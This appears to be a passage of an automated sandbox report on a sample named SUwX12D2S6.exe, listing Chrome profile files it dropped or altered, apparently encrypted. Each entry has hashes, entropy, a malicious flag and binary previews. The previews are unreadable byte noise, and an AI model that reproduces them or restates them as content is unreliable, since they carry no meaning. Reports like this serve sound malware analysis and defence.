Preview:	$...T..J.s.r..]RQ.}...`..c(.J.,f..5...0.%+...%36GP...S..U....M.'S>.....Z......U4.....S.a.cX.%..-J.N_3..Mi..nu.m.-.!t{.qp.....F.[;M..C....j..l.7QQ...;....XytKB...OK9..w.z.;...nL./.F...q.z_5.i.y.......7&@..Q.....%@=.K.....M....Y......k<.+.D....k...G1..Q.%1e.k...[y;.n6..!..r@...u.z,.M..wg.>]H9.f....z.R...=..]..,.....!...`z....)\.C.."G .Reu...N.....87S.s..+%j...ZeeB..%.B..vb`.!:....]u. "h^..w...;.]...P..z.a..,C.k.m}y.!.....{xl.......w.t..e..[V.....x.$..^qh....p..o.5uE.j...z.U....{..U`.g?.RzL..axZR.P%.{.f.V."e..~^..fCQ..e..L6.....l...=9..7..L.53......0...;b4f!..i...9...7Q$73y.S..\....4.\.7....._.Z..i.2..%.eZ.WM.d.x..2q..<>..4..+~GG..S,fv.....?.QY...;N..1v7..0..&.i......M.Y?!.<.G.z........E...o.)2._.H..Y...2...$.wj.......ml.55.[.Fc^.-..v..X>TT.k.@.O..c.K.L....y......(.f.grV.`0.qyu...F...V....O......v..HG..s.2].D.#,...].......p..W#.....>..Y...g..@FG.v{V.Thv..G.70"y>.S".v&z.\..._.....r;5_`.....b.B.,.....)MFVO.*K[.t.{[.j..f...%MF.0..@.>U..{./..4.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\5bc1a347-c482-475c-a573-03c10998aeea\model-info.pb

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	610
Entropy (8bit):	7.6661580906163245
Encrypted:	false
SSDEEP:	12:BGTKuUoUKplytBi0HBfz+QB8lBRtgGXLKfCs0t/O0AqArjVcii9a:BGTKVoUgl6RHMQBWRrXLKfMttAZVbD
MD5:	CA09A03EC26E6D88E4BB2EDE5D24CDD1
SHA1:	443EFBF70A040DA65BA6FD567AA4D2D0A949D79D
SHA-256:	57735B9AE20F5488FC49CBEE93C47A181588F4A6A07FB03880C22799629300F4
SHA-512:	125360439DC2615B68980D26294BB772A540222676ACE9E2860721A8E51055FC3F9BD0958E793415A4897B910B92B090330A9E18A934A7E035186BD64CAB1F21
Malicious:	false
Preview:	.......e..W.N.....=.Q..'...y....#.{...c.\|T0!..i9..I[$.._.<......b...;'N..51.t&..x..4...;B....9.o2....6..X.....#/...\|j'M...o...U>...L.K!...l.?.a...{..Zz?Kh.U4.s....6.D.07UQ...}.z..\|73 ...........;...Q..ZD....({.R.......C.X..K..o...@...P....Ef$.`9P.W.h?......XcT"5..+).j.a.A.j&...#......X$u<..:.<..A.<..j..g..^...M.2..c.$)..l....%.~2$.X!.`~u......b.C...n.....3.Fb....>].S!.m.....r....Z\.q..&f...I.k.W.cu.'q$k..}.*..C...+.JXAl...q{e.i.6..r.....}./?PO.r.V..%.#..i.....-l.rH:.D.......@...).u.t@....t.,...!@..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\5bc1a347-c482-475c-a573-03c10998aeea\model.tflite

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	410290
Entropy (8bit):	7.472737948749283
Encrypted:	false
SSDEEP:	6144:lZmmnOcjS6fnIOzmbmNGA246jHhN1r7qxmilHFWArG0uymMv:lZmmOcm6wa+j1fqLHwACbMv
MD5:	BD3B69E553DAF87F86EDF876310940EF
SHA1:	467E0D0645469C35250FC5DAE5FF1C8B6BB8FC87
SHA-256:	542165BCC421D40B60D63D68C23C94FC95CCAF14A658680081F93D0B6CC6BD92
SHA-512:	FDA0264BBBF307DF21C2135421CD5C2C6C5B734920086224EF4FB16112A34CF0E2871B9D0D4E577D0401B88CAADB7FD8EDCDE193ACD88455925C280388ECF2F7
Malicious:	false
Preview:	....T(..O........D.C..zQ$S......m..$...u...,.H.`HX..z.#..[wS%>...C...x.sK.k....."A0...N^....6.+..}.X+_..l...j..."^..@.auk.+u.a..S...@.@..6...3.$..S..$....;.J.u.}.:...m4..v.>...r..(........{.e...)...h^......T;.....~..dp&..MO...x<\|.e0g..i._..Hw...vf...)t.yx#..si....I....X.n....N.}..mc.........>Z...9.Z...?.y...{......._V.{...]=(+.I....1.o~.=]...#....m)@X.w..r.O>NQ.....\..y\...a..O^.=.\|..v...._...3..h......)...Y....u..}..X.....mF.E..J.@.4>..G0.#.....+.. .4F......s8.c.gJ....=..M......M..5V....uU...V.%.5.eK.T.....R.1{_W.=.G.5....=.....nb.....Wi.!rYRc.{..."..$..C.2L..3.a...'.5>z...M..0F..q...{..om.Ii.+....u.0 15...Z...^mv.X.6../'...J/...R..<P....."".....u0^q.T....;0M'.:Gs.H..7...N\|D.ciY..Z.xS....a...c.qP...G9..........D.m\|......e.c.....@.15..T..,pv.....p..p..wK...^4.*`....4.h......q.]..Z.LG....K.k..c..V...u...;Y..N.]..,.Go,..\\..+..7.>.O+...r.i5P...7l.+..(-.:)..x....",..w.P....^(.\|Cc....[.T....!~HtZ.{....m0.~...L.._..2.t.......Os]...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\5bc1a347-c482-475c-a573-03c10998aeea\model_metadata.pb

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3493
Entropy (8bit):	7.943238678690835
Encrypted:	false
SSDEEP:	96:Lmh03mCe53HzNlK5yc3CIifZmA1Qjd/s0evJE69:aZC6HhlKAc3C3hPiVsDia
MD5:	8AD320BC36F3374F1AF28388C40D13DD
SHA1:	396494E49A463C1366E0BA24CC750E53BAFBF5D5
SHA-256:	78C96456DE474DAADC928F95FEDC3FA82A9DAD67A226124B0A8D2D466B4FF77F
SHA-512:	65502AB609422D9991B9A87292014D9EB9D5EEF427D3983B1ACC7A0DD78D746511A04B9125EB35C20416EA7BE54F464E54728A6CFD03A636A23874E7BEAD10EE
Malicious:	false
Preview:	.......F.TM.[[.!..,C.....A.P....!.'.b....$.U.....9.J.M.{.......Ai.y...1....x.V\|[.[8..A.h.....68....(...sc>..r}....6..-a....=..zn.f.O'\|....R.f..6....2.h...GS...u...i.i...$..<3.....u..0.g......#.....U..h&....VH...0~...G...M..}2.G...l. .3/..:x...^.S.... g.Q...RZ.p...HI.SA....xi.........P.....40L....C.>\..;.t..XP.#...I.V.y...\|.?R..x....e]"8=.@....P...?zr.`....8+....T.\|P6.W5m..[S.HbZ...;....+.8 .9..t3....Sb.c.\.e.]C...i..u..'."$....H....Vc:C.f...E...]d.,.v......c...\|..b..+..4..........`H....b.Y).\...7..F.{...H.f.. .R.....<L*.....l..ed>..~:}x.sLb.3........l.X.G...c....M.Dx...k..S\..cC:.....Y....k....t}.rZ........8..L=.."..-3O.v.7...O. ..c...i..k........AJ.k.......b_Me...._....2}..9...1A...Z...@..U.......-.7.?.\|.q~..[EX^~'......;5....n...GEX.:.kC..s.A+..b...\|E..q..^t.p.].J.+....m.....u.5..7;......2..V.tCU..\|;......p...B..QDK.......[w...`o.OC..........BxC[.../.f...<.....@kU...[...m..'2.:.H............;M..Hz....#.N..K.....7h>O....XV.K..\|..6w.SRl..<.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\8ad0d94c-ca05-4c9d-8177-48569175e875\model-info.pb

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.476416323160884
Encrypted:	false
SSDEEP:	12:aaJduZujM+4cB9DFMEoX0BvwRVJw00vqvcv5jVcii9a:aAvVX5vyVJwxhvBVbD
MD5:	0CD13CAFA35C0E306E1CF0CABA49BECF
SHA1:	572C397DA90E3333284EC4C92A25FD7DD67CEA91
SHA-256:	E355D46A568AA1F64D9FE9DB9BEA7BAAEA695300A3BFF652B095C2CEB22645B0
SHA-512:	B0C745464446D97640872E4F0AD9FF501E2A4482F32678A744CC002C601312FABFEBC93FF572E8353C5C82BACF126CC704B3ECBF2BC0FAAAE57861DDCAC40FE2
Malicious:	false
Preview:	......O.....0l$5.kTM..:..v...@.t(.7....i_..c.#...C.8q\PV.TH.N+......e)q.-_...\|...:!...B......m.`...\|?.;_ED....@.}.Q....J.>q.U......).......e....AAy.Q......!..G.].......S)..!.{u..g.H.CQ.X.}.w...XZ.K{.s.7.:s@o.].."\|.q....8?`z\,.s.....;@...i.7.Emw0.K.H...P#.....\|.D@...o..A_~....<<_.v.D.`..D>$....$...?.b.$.x.j..[.&.x... .4..._.Q......wS..D=........$."..Okl.81Vb......K......f9$pL\|....<,}...`.zI..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\8ad0d94c-ca05-4c9d-8177-48569175e875\model.tflite

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	180854
Entropy (8bit):	7.954815773588291
Encrypted:	false
SSDEEP:	3072:ZahFkVnhAxMJ40p2w95zVUJdNtNMKt+FFMeqmgcNw7/sX+wSUamqO832NzHKK:Zqgn+xMJPp2wbzyJdNQiuM/mgcKouwXj
MD5:	EC0EF38C4871961D1C07F8F195FD6172
SHA1:	9425BDB0062B92DA802644A9D3C5C0F6FFF835B1
SHA-256:	F5ABDA906CFF7F358AD6BA482E4C25230862BB7BE09A0B9AB5EE73793B1FD01A
SHA-512:	36DE577015748265A6D2A1FFDFCA2AD7E390148517320C8EB1F8D6CB47B097D05749E63E4A2BB47AB911EA7B61ABD360A67CF1F6EFF011AC5BD6183F245E8ADB
Malicious:	false
Preview:	,...(..8w'...dy.QfG...E.W.....]$o.../n...j...M .w..q..o...].wA.c.7..m.._.8/o.'..f..m..d".T#.K.....[..M6M.T...u.{.B.Y...+f.'M.'O.@.,~h...D....>w....AAmSO.- ..GT-...DfSa.\..E...........F7(..vv...C...Qu..7.I.Z.....~..IV..z..rmy.e....\x...-..lg3..A...._..t....HQ\|V.ofJ..D..\|.A.GB"N.?y/..\|..}.{..6...{....`]..5.J.A..G%.>6...........#.rQ}.!n...n.4....4..j.6!.t_.......FU:....nf..,..........L.5. ....D..CO..}....Z}...m.'.A.....(..'.....t.29..40.C.D...8.<.xO.<.p...%=&..A.\|..Z..t...S..a]..84.........x...).$.nE.5.....Z.F&."...s.X.]..6yx.$.g......~..?b..W..#.B...r...Q.[Y^8.h...[F.2y\|.U..%4....5b1a8...-UBh..S..mg.n..PeB..`.... VZ\.4.....D..D.G.<...)A.:..i.d#.jP...C.y.}5.K.BP.n's2G......Ps#..Zzr.....X...8..#1I......<.[...../k.....Z.......`(2.%.B~X.[.......7...=.&..N..kW.......f...1..e..<..u.Z.i..3I..........P_.*2.B..j..W...z....J.?.S...N..`.{.@...EQ,.....H..Wa.I.o.....h.....@&....m9.g...Q.;.._.gp......3..7.}...h.X..Q[.....7,....t....b.P....#...F.\|.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\8ad0d94c-ca05-4c9d-8177-48569175e875\visual_model_20230727_desktop.tflite

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3453160
Entropy (8bit):	6.648659694056877
Encrypted:	false
SSDEEP:	98304:0nE1OSFK+tI+k+sIlrbZODZoB6j5QqHMUWXbxJkbm7+qA:HOwHtI+k+llrb8DZo4jKqsUWlJk49A
MD5:	DCD3CFCFDBF57FA9EA6A80C28F7135F3
SHA1:	E60F733C68E57F86CF1D6A7A342C1E76F68D4276
SHA-256:	A6CE62EC668066F16BD9E7BF5D43405F5D360890DEFEBE53E8231EC9D2BD2927
SHA-512:	79EE99E902D1A94C5685E8895F2970C2B92DA6548F08BF9A4FADB0BDE0D84878A71844897C9FF35E23FB5D04F99F9423EC9E1CB11669CA7A8983D56D4276646B
Malicious:	false
Preview:	....T.~zx..$...2/.-.oC~..(....X....:il..$.......g.'[.......w....o'.S../?..\|.KvhL....].....fn.....~..._....bCR.c..4..y....>.V.=2.].(@M.^8.0..9..wGm........J......A.y....c(+C...yxn.....@.....vD7k.....}.......,....9..{.X.7t;@=.....H..P.f...5....8.E..k..a.K.......W....#......dJ.[8...G.G...Y.?..8...EJ.X}Fn.p.\.g..%..d....oc......x\|d.Xy....D{......../.U..8..\....\..i. 2..(.....z....4.Q...Q.....@1..p.i...N6h.It..(.t....&.@.Z..z.@./ .Mt.t.J........l.4gJ..>.&.........T....>...k........j..Gp.m.dJ...;.T....]3D0.D...".=.S?.1.e]...op.....m.b.8G .+........`...2.H...jK.!....Z.M..%`..A."VB.....eW.=iA...6..1. o.8\|.d........u..+G.I...M..<......o.g...y.\|...CQW...+....L8?.,./.:3.\|..P.P\..4JN.@~..ku.<7..Y.If.(....s....YS.w).7.TR7*Xv...l).e.x......X.7...c..g^...LH.....N.'.k.f{C....w..\.tx.../I..)....0.t..).....~h..}..2...g.<....TVHN/..Ol.G..P.K....&...McQ.....\|....=...R,../.@<.!......?r...R...L......d........e.K.i.Tk$..4D.....7...7.\|.}.8Z.1...<~sf.I.....u.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\bde1cb97-a9f1-4568-9626-b993438e38e1\model-info.pb

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	499
Entropy (8bit):	7.50228098266453
Encrypted:	false
SSDEEP:	12:qs7he/+SKHUypVSIW8g/axlivH9eoaZ/S8X83jVcii9a:qKhW+1HVVSl8gyxYc4TVbD
MD5:	696C4E1BDE2142F1807AAA34CB3C358B
SHA1:	162D23CBE2C6F310B0001565ADDF856BC0798427
SHA-256:	C9BC8B4D5BFB3140E372B8E5EF3C8EBEF29A5D4564BA4DCF2C78293BF30D3FFC
SHA-512:	FE6525BC3BB4FE30FF7513071898AAF8D9371A7FF1BAD2D130B1412B2AA422C56BD6A28D32FEB076B4564B3BFCA54FA5B4241D18E1D6D38CDBDBB45183A642C0
Malicious:	false
Preview:	.....nq.f@.-..R.".M8. BB....m.=3E1X=.4%..N..K./.v~.EU9"...v92gV. r.;.[\".~..Ty......CFu...,..u..v..'X..M...W...6.....68...l...:(.....!.;.......0......z;..~....C#..F0.L..7.{..}.H....\|.7...:..z.....%..1..........ee..--.W..!u..x.!...vk.wtm...LtI...H.zEYec....`p.l...u. ...(./.dq.v...Y_...K.:.(.PtG.T..pP.k.^..K...2%......y$..n.=&.I..vz.n..`.K1M....h.`.[..U.p}[.1Uv.^. ..%....?.h\.......C...b}"C.YD'D_f.Z..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\bde1cb97-a9f1-4568-9626-b993438e38e1\model.tflite

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	14258
Entropy (8bit):	7.989658268208151
Encrypted:	false
SSDEEP:	192:Em2wwRnHBhiOhCgAIQFhV8vRxnIw8/5M72EmtQD3uyTOd7eJZ7fNzpJYGxKX:E5nHBhhC5IQnyJ1T8B2D3uh7Q9NzpJNo
MD5:	0873270589A038E7E601288BE0241534
SHA1:	F0D62DE396E3E000CCDCF490FBD62078F73BDDA6
SHA-256:	B9287F0F5CE68AD1A4C7361117EB319293AE2FE839BACB42E5594963CC0CFE88
SHA-512:	4646221935A3E3109AED108DE126B33A17223CBE130B32AC65D7CB8D20A18618A16CE78AF635B51D35E6D9E9DB8205686C3913CBB32BE0D0E0F1C30FD77B347E
Malicious:	false
Preview:	....T.K...H.b.-)}.L~ro..#A.!.t.~......o.k?..;).k...r..+[.X....V]....3..\...............'s...A..Gh6.;.t..'p..v.6...?.../.......I..S.^..:5.H.x.........7..b..Zo1.s....&.[.6@.t.(!1}..[..a}.5.3`.IR...aQ.1.5.$8!q2..:...p..+A4......(.\|.[Q.......p..,r...d..(1rL../.........,.....JL'..Y...y1.a.l.$._.!..G....V..\|b_...`...z.....A..L......_{......}B./.....@.O....2tOs..... ...i./.'.+.!..u.fg..Z2..;..x.t.ci.Q3.............1.........-....G.kI..'.........q..$E7Bl...h.Fwa.vF.y...J..~,9x..^..[.{..'.vOS..5..3....`k..\|Hylm.a#..fe..@.@.....pK...3F..lOO.....]....X..BlXP.F5.a...H..,.S.^'...~V~...g....N. .HL....w..d.....@.5r..I.(lt..BB.._X..e[ ....Q...l.fCW#...........L....R....6..5Z+.bv2e...7...a.8.[x..j.......ao.?....xj...Sn...0..h...T.Uw/E~g..@.w...E.r.....<O_\xP......T..Px..h.......+T$1".-....x......x....[$..<}U.YQZ,.....Jc..\|mRz..p.yQ..M4.q.?>#H-4............FV...b.}..]......S.0..D....Q.......{..<.o.w...G..]N$Y]\lb..Z...5U..}..J..4.1.HO..1P%0......

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\e8d04e65-de13-4e7d-b232-291855cace25\model-info.pb

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	499
Entropy (8bit):	7.561139989553781
Encrypted:	false
SSDEEP:	12:uJzyyzttjm0nHOME4VX2Kry1hC1jkRHmKdBjVcii9a:uhyyxFzO+VGK+1hYQdJVbD
MD5:	FB6217E4913ECB08EC84EF4AAE066C08
SHA1:	5ED6389DBA7DA74604B1985F7F4EA630C51EF924
SHA-256:	03B665D9757BDF08400F53F873AAA9EE4425E142F5F743678DAE56636E0517D2
SHA-512:	0EEAC64B5EC6926AFA13F6C4A93BD9B1C4B31773F1E4FA59C4989B8834783C48308A8314344DBD14817DF556C5F9C31BDC86CCB022FB2337E77CB66C9F7B7A3E
Malicious:	false
Preview:	.....S....{8.At...".....9.~i........#2.......{<C.,...g].T'.%@n..Q..dB`../Wf+.@.A.........(i.,..._...."..'..9\wsF..m.28..w...#......A..}..C%f.O(.]....z.......Xw;G.2s...t.}...5.._aY.....Zr...{?.....'v{.Q.m.........Y........J.?..B.6....}Z.l]!.4J...d..Z...x."v wt..h/....'0....6...r.PD..#!JZ.K.N..Y.........3.....F.'ym...]o9/..r}./.5Mx`'...r...<H..!SX.kv[*..[CB...."MK...y.T....>k#-.B.oa...>Z...^....)..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\e8d04e65-de13-4e7d-b232-291855cace25\model.tflite

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	67550
Entropy (8bit):	7.99691303198737
Encrypted:	true
SSDEEP:	1536:A4BYPafsUJmdA9uEVEDulvLCRs8LQonu3AU2mqReuGbWTZQT:ANafsUJGeED4Gnjm2HeuDT2
MD5:	6A296BC2D222BDCE898150E6D6D80C60
SHA1:	11E774FD43BFCEA993B3C89DDFFE1388F9D91C59
SHA-256:	557502B6BABC05C9A246DD1FDFF36185B992462C9AC8B1BDDB4BF99AEABE3B24
SHA-512:	AA3A4913F79296D9B60F8D392E36BF36CF7BC1B2EEEFE87251AFEB6A70351EDB44F5DA95FC76B9BB3103ED16B66E138AD40BC900875FD0183F594170B817B9ED
Malicious:	true
Preview:	....T...S...n.U.D 3.,.u..b..x......#t.!uS3!(."8..t.. .O..k..O.g.%......3k.\|...c..M>.<.K.NbP......n:.L.)._..X...w..lR4l.M.3.\....i.X..Z..R...9.X.Jy...p..=..Rt.b.S....T....iOG....9.._f_.....z<v.....8.....cu...'.) .5..H.l[..H...."...v....u.k.\.c..o..c.....=....B..YS.=..`.....A.h2.Yt .....3k..._..^yv.._M....K.....:..9..{..+.%....m....i..\@1.....~.G..+....I...\c{..J...k>.rk..........b.m...7z......9`..:Z.J.Z...?.;U.09...`..!&.%s...:.s.cY}.^..g$..$..7C.#E\|..H%f..(~.gE-..y....."........"..wS.'...1I....G..Vc9..D.....'S..e.q.T.......2E.....Us..D69.y\|c......z...3. %h.o^...W....o..oWV..i=&..i..a.X.....`..n.]Y...h.]...!..2!.7\.M..cg./t..At\|.39-.\|.~......p.4.......B.#.rj/........:....."..._..w...A..'^..B..m..\.. .1v8....+...].Y....;.......b.y..b2...QsKD.G.N(.'\|'........l.d........G)..0..I.;.:.....[K...V8*......E..Q>..QgYi..#..e.#L:.......g.P...3 .h@.Q.....N.E....K.5AA6g.6...Dl...4;%.M..2E...wA.E.l.f..^=.E..s2gZ.i.....\@.)..E.G1;......\|.g......$+..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	77068
Entropy (8bit):	7.997569175981177
Encrypted:	true
SSDEEP:	1536:yd/gH+dCiHzR0aSfX6qvop8Zby53Np++ZDovcb+Ebx9:e/S+EiHzqNv6Rp8dydv+FvcKcX
MD5:	B216DB4A17963320A1B67B8A39F415D0
SHA1:	E5663DEB80CB72967A1DD32BB7FE4237F5C2A22C
SHA-256:	A43BB410388D1ABBA18F4E41BDFBF3770231FA964A08BF0E00420FD3AA73CF00
SHA-512:	951EBCAB274FBE5754B6C65777CB22B54840F40E1A8F7FEE6CD57D8545EDC86DBEA708A89D8AB578E1009C25C42170678B45A98B76E1C017BA3825C2AA69F769
Malicious:	true
Preview:	A..r...r....(.3.Xg.p._..2W.J\d..}9.....B<.......<N3....^b.5D.Z..G... .D....v........M.wKjq1 uI..'..If.p...U..H.G......... ...s...].......!.j.........\|..A.h..z...s.Y..o.Rj{.........N.ccX..H....F..82bo8...S.... .%..j+.;dN..`...TY.O...>..3P...8..R%+..@f.N...N4......#...s..bl.`0.........+....R.Q..m.F9<..... .oFE.h.w......x....~l];..B..W......{1..^.;FO.......yv8RY....,..B!.....Hi...Ap'../....i)....?.....c...2..@..R..Q.....Cc.Lh%..'..hM..N.T`..^.~...1...W......;....]....c........A....Y..O\|.^............%.....-.P.LYp.... h....].p@.. ....o..r...<.}G...7..3h.&.9;......\|'C P..........)....zuL.W....F_.8.mp....!.p.....7N.....NR.....DL.".....p~G8_.`.Pj.T.V....@.VF.........cP.....x.I..#. ..(.`....O..E...j.....f.d..K...B..B....$.@...Z.F.!....^9.U ......2.qg.]...>....... cK..K."..+.n.....3ML..."...S%ELT4...n....m]..,.....+..E.d..z3.L.$.".._..ZF..L.2}.`.....D;AN..IHe.V.A..B...NX......[."....},_.P...mva3...i..c..X,..e:.....T....G.?...R.G.vw.....g.Z.O..w

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\LOG.old

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	654
Entropy (8bit):	7.697382341515462
Encrypted:	false
SSDEEP:	12:kx+LfB0vOaJ72T95zec+9k4wgAv3hoCbYRUghSwPuDHgjnRTV5Q9KiLXc1xjVciD:jf2mze04sv3elUgUwGbUn7TiLs1ZVbD
MD5:	C3B63F105E54929B365571DC5445BC71
SHA1:	224C51E4B785EC9DDA52BFC4E887EA65DCE23A08
SHA-256:	52A526D58AACE24ED95611D44BB14BE101E99F00C0268B2841E0FF34C13D8E7B
SHA-512:	53F9C44CC7F9F1466A222839003B144960B5445B8F0AB4F8C0493D442D8F65AB5CE24FB3B23D1DD6CD3AD06372D858602A039D05886405C90FCD0C6672A7E501
Malicious:	false
Preview:	2023/.L.l........C.....,...F..7:.,].#..Y..yr..}-...>...o......!.=+...Fc..?.T.H4.ee.............Dyw.p.....\|.5rXz..I(_@.n~.\...=2.j...Qt.V..P.......U,".F.Q.7d..=:...}{...}....\&.G.F[.6...*Y..{...X..n."8\.V[9Q.{t%..3j..i..d.......X..K....&D;.K!&.W1g0....j..R..fY..9Y..D....3^N.z..a.&..\..(.H.^.Af.CC\|.... ...}G...y.d..a.. ......AO.....~6.)......._aV"Q.f;[].......<v.d..L.vz...G p._...('x....G.Z.d...R>..7..'.G...._<..U.k.%.Pu...\|..{......h..9...$V.....#.....q.G....R,o..?k.D{H....;..X+j^.O..pwt.....8.a..q:.8.qY&S.V...z.....>..n...C.D@s.....3%.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1757
Entropy (8bit):	7.89054531111622
Encrypted:	false
SSDEEP:	24:GNsDQMY+IqXCQiVRRuQdWWHFBu7wjq/rd8LwJcq/bfrQefQR9qz+P2GTzvhFFsbk:c7X+IqXiF/dNikj8R8LwJJI+uxz1ZFD
MD5:	F72CB4B0BFE4567055E21573A2F8C68B
SHA1:	A4226F4AA1347AECB4FFEFF88E90D65F50200936
SHA-256:	7A2502E2E62668F24C69FFF63DC27684C4D0673EC8A2174A591630F6F7513A0E
SHA-512:	B8E9E3D8DE9B1D14BFF2D4A60677EF024E685553BBE2176BC1687EE423ED7937D7D1CE4F8E5779B26BE24BF5444F9ABADDF70A6978BE95F83B8536BBA02CC8F7
Malicious:	false
Preview:	.h.6.W...Vt..j..TU.Y..0r^ ....Ha.....Hc...0..k..=.X..'.N...g...c.D....Hk..A.U=..-e..^.l...~..N.G].[.............9#-.V.A.<.........T..Q...kG.3......8F.Y1i....K...a...99..o..%.%...E.U.....,....`.p.u.~.:_K.SJ.... ........sG.Q.N..#V....T..#&.D..%..B.....$.....Ah_Bgh...x`..s........y.+5.5..t...U....x.G... .......3..'.%.y3v_'..:...y..F`..=S.D\......~...y^..N>..\".\|./S~-.....9:.D...g...27.n.....aPl..._r...n'a}c..(m..8..w.D?....1..V..1.f.\."..o.!..;.F$(.$O..4!.I2@.t.z..........h...,._d=>B\|5#3m.../-......9xC8LNX....\.8..&....h.^.........#..I...f....C.).P..9m....)@....k.@..~...Cvv...d8.LQ+M..2.I..T.]Q.Z.HL.{.b.vN&.5..(....8.2.,.^.l.G.l.W......#....n.T....9W.{..\?o..>h.&\..1f...I..op....+H!..!.bc.a..a)1...y..3H.........M2.../.w.......J.sS.#.....g.J...=.m.2 ...\R-T....6....k)ZY..x....M...i....h...[W.\|...Z..q...2.{9.....g......'VhpO.X..\..'.....T.%.7J.YS[..U...Z......vY.x.%...#.R..eE..'..,mv...w....M....."U...~.#.C.U ...#...H......K:Y...p......s1.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\LOG.old

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	672
Entropy (8bit):	7.6202360938348175
Encrypted:	false
SSDEEP:	12:k65p6DCoHKrhnoIw032KrGWN0EcTTk6SGyY9JEFVxF6vlkEzAjVcii9a:tbRrhnooGhTTk6fydF8loVbD
MD5:	94F4AF99645C644D331DDE7E4D86C629
SHA1:	44B14A2B5D3A45B640C38D76A4124F9ADF16EE64
SHA-256:	92A494E0E52C64BFE2F8B1C4947B5CB7EB87A96BF719A763BF2E4725DD47F6F9
SHA-512:	8B30B14A63338CC21AC987D10CE09A46D8D9F59D087EEC07D9F9D8EFB30F64E1198EB4426BF9C483B4D77D0E8294F161D72014C0188B6211ED99CAA5109496F7
Malicious:	false
Preview:	2023/.....`m...;....m:..q........:LV.FuO"...........nY1...7!...Zp...DB(7Y..2..}LCb.B..5..m}Z24Eq...7..D.9R.G/..c....q.."<.P..T6.f.(G..0'.).X/...&.:Q.n#\|..e.....T..?..fM......P.5U<.3...'..49O..CN.;.og...Vfk. K.r.J(..__..A...O...5.#yl.(.b6.C.~......j..). ..........]x.,.m..L.fZ...j...M.4.......r...$(.&8~/c<B.!....YE@=....j..h..-..v>.2.#.[J..[q...x.{:~J?....}.R.Ck.}p .!....7.1,.c.G\|.;.D.X....\|$../...>..K....d.\.._~..=:.o..B..`u..1..A..,Up.y...W.r[.g.[..n..._..X.........9.....Ne.STm.';..,.7....B.!"2.)..JY1..0!~fibM.o.U..L\|'.6.7,...J#>.5...../..{'."D......C=...~.VB.K.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.996337647485094
Encrypted:	true
SSDEEP:	1536:LWB1d54MZfjPOO6yMhAsFuSyd3grEp/wmcGsgSmUP:KB54zO8AkO/XBsgIP
MD5:	4A571DA93E07AA104E2A9B01DFAC1C7F
SHA1:	219559395AC07640B662B2BDDD0602D79DC409EA
SHA-256:	01A65674AFCC1999DA4114FEB1899F665B91B3A9E85A173645806F0D74252FFD
SHA-512:	292E00C950DE465CCC46FE1B503AA192F77A1FECE27984DC0514F97450638A618A1F189D4EC58D5A8CD40A09A682258C6E817DCA6621564D216563A0CE530C6F
Malicious:	true
